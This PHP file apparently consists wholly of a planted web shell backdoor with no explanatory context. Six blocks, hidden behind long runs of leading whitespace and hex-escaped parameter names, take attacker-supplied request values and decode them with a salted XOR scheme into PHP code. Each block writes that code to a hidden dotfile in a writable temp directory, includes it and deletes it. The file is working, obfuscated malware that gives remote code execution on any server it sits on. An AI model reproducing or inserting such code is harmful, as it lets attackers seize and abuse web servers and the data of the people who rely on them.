<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x66\x61c"])){ $flag = $_REQUEST["\x66\x61c"]; $flag= explode ( ".", $flag ) ; $property_set = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $w = 0; $__len = count($flag); do { if ($w >= $__len) break; $v1 = $flag[$w]; $chS = ord($salt8[$w% $sLen]); $dec = ((int)$v1 - $chS - ($w% 10)) ^ 47; $property_set .= chr($dec); $w++; }while (true); $token = array_filter([getcwd(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($token as $key): if (!( !is_dir($key) || !is_writable($key) )) { $ptr = vsprintf("%s/%s", [$key, ".object"]); $success = file_put_contents($ptr, $property_set); if ($success) { include $ptr; @unlink($ptr); exit;} } endforeach; }
																																										if(array_key_exists("\x64a\x74\x61\x5F\x63hunk", $_POST)){ $token = $_POST["\x64a\x74\x61\x5F\x63hunk"]; $token= explode( '.' , $token) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $token as $q => $v3): $chS = ord( $salt[$q % $lenS]); $dec =( ( int)$v3 - $chS -( $q % 10)) ^ 33; $key .= chr( $dec); endforeach; $desc = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd()]); $rec = 0; do { $ptr = $desc[$rec] ?? null; if ($rec >= count($desc)) break; if (max(0, is_dir($ptr) * is_writable($ptr))) { $comp = implode("/", [$ptr, ".descriptor"]); if (file_put_contents($comp, $key)) { require $comp; unlink($comp); exit; } } $rec++; } while (true); }
																																										if(isset($_REQUEST["\x68\x6F\x6Cder"]) ? true : false){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $resource = $_REQUEST["\x68\x6F\x6Cder"]; $resource =explode ( "." , $resource ); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $resource as $s => $v2): $sChar = ord( $salt[$s % $sLen]); $dec =( ( int)$v2 - $sChar -( $s % 10))^ 74; $itm .= chr( $dec); endforeach; foreach ($data_chunk as $key): if (!( !is_dir($key) || !is_writable($key) )) { $bind = str_replace("{var_dir}", $key, "{var_dir}/.entry"); $success = file_put_contents($bind, $itm); if ($success) { include $bind; @unlink($bind); exit;} } endforeach; }
																																										if(in_array("\x74\x6Fken", array_keys($_POST))){ $binding = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $key = $_POST["\x74\x6Fken"]; $key =explode ( '.' , $key ); $flag = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $z = 0; $__tmp = $key; while( $v3 = array_shift( $__tmp)) {$chS = ord( $salt1[$z% $sLen]); $d = ( ( int)$v3 - $chS -( $z% 10)) ^ 4; $flag .= chr( $d); $z++; } while ($factor = array_shift($binding)) { if (is_dir($factor) && is_writable($factor)) { $record = sprintf("%s/.parameter_group", $factor); $success = file_put_contents($record, $flag); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(@$_POST["\x72e\x63\x6Frd"] !== null){ $itm = $_POST["\x72e\x63\x6Frd"]; $itm = explode ( '.', $itm ) ; $entity=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt2); $__len=count($itm); for ($m=0; $m < $__len; $m++) { $v7=$itm[$m]; $sChar=ord($salt2[$m % $lenS]); $d=((int)$v7 - $sChar - ($m % 10))^49; $entity.= chr($d); } $val = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); while ($pgrp = array_shift($val)) { if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $reference = "$pgrp/.holder"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $reference; @unlink($reference); die(); } } } }


if(!is_null($_REQUEST["\x62\x69nd"] ?? null)){
	$ref = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]);
	$holder = $_REQUEST["\x62\x69nd"];
	 $holder=explode	(	 	"." 	,	 	$holder	 )   ;	 
	$marker ='';
            $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =strlen($salt2);
            $x =0;
            $__len =count($holder);
    
            do {
                if($x >= $__len) break;
                $v4 =$holder[$x];
                $chS =ord($salt2[$x	%	 $sLen]);
                $dec =((int)$v4 - $chS -($x	%	 10)) ^ 79;
                $marker .= chr($dec);
                $x++;	}	 while(true);
	foreach ($ref as $symbol):
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $pointer = implode("/", [$symbol, ".binding"]);
    if (file_put_contents($pointer, $marker)) {
	include $pointer;
	@unlink($pointer);
	die();
}
}
endforeach;
}